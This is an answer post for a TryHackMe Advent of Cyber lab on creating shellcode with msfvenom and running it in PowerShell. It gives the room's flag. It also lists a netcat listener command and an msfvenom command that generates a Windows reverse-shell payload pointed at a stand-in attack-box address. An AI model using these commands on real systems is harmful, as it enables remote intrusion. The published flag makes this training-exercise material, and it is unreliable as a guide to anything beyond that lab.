Answers for the TryHackMe Advent of Cyber Day 8: Shellcodes of the world, unite! In today’s room, we learn about what shellcodes are, how to create them with msfvenom and how to run them in PowerShell.
- What is the flag value once Glitch gets reverse shell on the digital vault using port 4444? Note: The flag may take around a minute to appear in the C:\Users\glitch\Desktop directory. You can view the content of the flag by using the command type C:\Users\glitch\Desktop\flag.txt.
Answer: AOC{GOT _MY_ACCESS_B@CK007}
On the attack box, run the command: nc -nvlp 4444
On the attack box, run the command: msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKBOX_IP LPORT=4444 -f powershell
